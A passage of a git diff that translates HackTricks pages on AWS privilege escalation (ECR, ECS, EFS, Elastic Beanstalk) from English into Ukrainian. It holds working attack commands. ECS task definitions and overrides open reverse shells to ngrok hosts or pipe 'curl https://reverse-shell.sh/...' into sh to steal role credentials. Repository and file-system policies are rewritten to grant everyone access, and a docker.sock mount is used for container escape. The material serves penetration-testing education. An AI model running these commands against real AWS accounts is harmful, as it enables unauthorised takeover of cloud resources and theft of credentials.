вплив:** Пряме підвищення привілеїв до IAM користувача(ів). -**Potential Impact:** Direct privilege escalation to IAM user(s). - -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index fd4686edb..628794b13 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,21 +6,21 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images. +Атакуючий з **`ecr:GetAuthorizationToken`** та **`ecr:BatchGetImage`** може увійти в ECR та завантажити зображення. -For more info on how to download images: +Для отримання додаткової інформації про те, як завантажити зображення: {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Potential Impact:** Непряме підвищення привілеїв шляхом перехоплення чутливої інформації в трафіку. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used. +Атакуючий з усіма цими дозволами **може увійти в ECR та завантажити зображення**. Це може бути корисно для підвищення привілеїв в інші середовища, де використовуються ці зображення. -To learn how to upload a new image/update one, check: +Щоб дізнатися, як завантажити нове зображення/оновити одне, перевірте: {{#ref}} ../aws-services/aws-eks-enum.md @@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check: ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` -Like the previous section, but for public repositories. +Як у попередньому розділі, але для публічних репозиторіїв. ### `ecr:SetRepositoryPolicy` -An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\ -For example, in this example read access is given to everyone. - +Атакуючий з цим дозволом може **змінити** **політику** **репозиторію**, щоб надати собі (або навіть усім) **доступ на читання/запис**.\ +Наприклад, у цьому прикладі доступ на читання надається всім. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - -Contents of `my-policy.json`: - +Зміст `my-policy.json`: ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "allow public pull", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - ### `ecr-public:SetRepositoryPolicy` -Like the previoous section, but for public repositories.\ -An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges. - +Як і в попередньому розділі, але для публічних репозиторіїв.\ +Зловмисник може **змінити політику репозиторію** публічного репозиторію ECR, щоб надати несанкціонований публічний доступ або для ескалації своїх привілеїв. ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "MaliciousPublicRepoPolicy", - "Effect": "Allow", - "Principal": "*", - "Action": [ - "ecr-public:GetDownloadUrlForLayer", - "ecr-public:BatchGetImage", - "ecr-public:BatchCheckLayerAvailability", - "ecr-public:PutImage", - "ecr-public:InitiateLayerUpload", - "ecr-public:UploadLayerPart", - "ecr-public:CompleteLayerUpload", - "ecr-public:DeleteRepositoryPolicy" - ] - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] }' > malicious_public_repo_policy.json # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` - -**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images. +**Потенційний вплив**: Несанкціонований публічний доступ до репозиторію ECR Public, що дозволяє будь-якому користувачу завантажувати, витягувати або видаляти зображення. ### `ecr:PutRegistryPolicy` -An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**. - +Зловмисник з цим дозволом може **змінити** **політику реєстру**, щоб надати собі, своєму обліковому запису (або навіть усім) **доступ на читання/запис**. ```bash aws ecr set-repository-policy \ - --repository-name \ - --policy-text file://my-policy.json +--repository-name \ +--policy-text file://my-policy.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 4988270ab..2771b9ea6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -More **info about ECS** in: +Більше **інформації про ECS** в: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,185 +12,173 @@ More **info about ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**. - +Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **згенерувати нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" # Run task definition aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to a different ECS role. +**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\ -However, in this case, a container instance to run the malicious task definition need to be. - +Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\ +Однак у цьому випадку потрібно мати контейнерний екземпляр для запуску шкідливого визначення завдання. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" aws ecs start-task --task-definition iam_exfiltration \ - --container-instances +--container-instances # Delete task definition ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it by creating a new service with at least 1 task running.** - +Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нове визначення завдання** з **зловмисним контейнером**, який краде облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на кшталт: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\ +Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб втекти** на вузол і **вкрасти роль EC2 IAM** та **інші ролі контейнерів ECS**, що працюють на вузлі.\ +Ви навіть могли б **примусити інші завдання працювати всередині EC2 екземпляра**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в [**Розділі Privesc до вузла**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Цей напад можливий лише якщо **ECS кластер використовує EC2** екземпляри, а не Fargate. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до неї прикріплена (вам потрібні дозволи на опис, оскільки це необхідно для виконання `aws ecs execute-command`).\ +Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не активований). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +Отже, зловмисник може спробувати: +- **Спробувати виконати команду** в кожному запущеному контейнері ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Якщо він має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]` +- Якщо він має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]` +- Якщо він має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]` +- Якщо він має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Потенційний вплив:** Privesc до іншої ролі, прикріпленої до контейнерів. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Перевірте на **сторінці ssm privesc**, як ви можете зловживати цим дозволом для **privesc до ECS**: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Перевірте на **сторінці ec2 privesc**, як ви можете зловживати цими дозволами для **privesc до ECS**: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Тестуйте це +Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Потенційний вплив**: Виконати довільний код у враженій службі, що потенційно вплине на її функціональність або ексфільтрує чутливі дані. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Посилання - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..f26fc1dd3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Більше **інформації про EFS** в: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +Пам'ятайте, що для монтування EFS вам потрібно бути в підмережі, де EFS відкритий, і мати доступ до нього (групи безпеки). Якщо це відбувається, за замовчуванням ви завжди зможете його змонтувати, однак, якщо він захищений політиками IAM, вам потрібно мати додаткові дозволи, згадані тут, щоб отримати доступ до нього. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +З будь-яким з цих дозволів зловмисник може **змінити політику файлової системи**, щоб **надати вам доступ** до неї, або просто **видалити її**, щоб **надано доступ за замовчуванням**. +Щоб видалити політику: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Щоб змінити це: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +З цією дозволом зловмисник зможе **підключити EFS**. Якщо дозвіл на запис за замовчуванням не надано всім, хто може підключити EFS, він матиме лише **доступ для читання**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +Додаткові дозволи `elasticfilesystem:ClientRootAccess` та `elasticfilesystem:ClientWrite` можуть бути використані для **запису** всередині файлової системи після її монтування та для **доступу** до цієї файлової системи **як root**. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Якщо ви, атакуючий, знаходитесь у **підмережі**, де **немає цільового монтування** EFS. Ви можете просто **створити одне у своїй підмережі** з цим привілеєм: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +У сценарії, де зловмисник виявляє, що EFS має ціль монтування у його підмережі, але **жодна група безпеки не дозволяє трафік**, він може просто **змінити це, модифікувавши вибрані групи безпеки**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації у файловій системі. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..67025e7a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,19 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Більше **інформації про Elastic Beanstalk** в: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Щоб виконати чутливі дії в Beanstalk, вам потрібно мати **багато чутливих дозволів у багатьох різних сервісах**. Ви можете перевірити, наприклад, дозволи, надані **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, дозволи на запис в S3 та багато інших +З **дозволами на запис у S3 бакет**, що містить **код** середовища, та дозволами на **перебудову** програми (потрібно `elasticbeanstalk:RebuildEnvironment` та кілька інших, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **модифікувати** **код**, **перебудувати** додаток, і наступного разу, коли ви отримуєте доступ до додатку, він **виконає ваш новий код**, що дозволяє зловмиснику скомпрометувати додаток та облікові дані IAM ролі. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, і більше... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Зазначені, а також кілька **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** та **`elasticloadbalancing`** дозволів є необхідними для створення базового сценарію Elastic Beanstalk з нуля. +- Створити додаток AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic 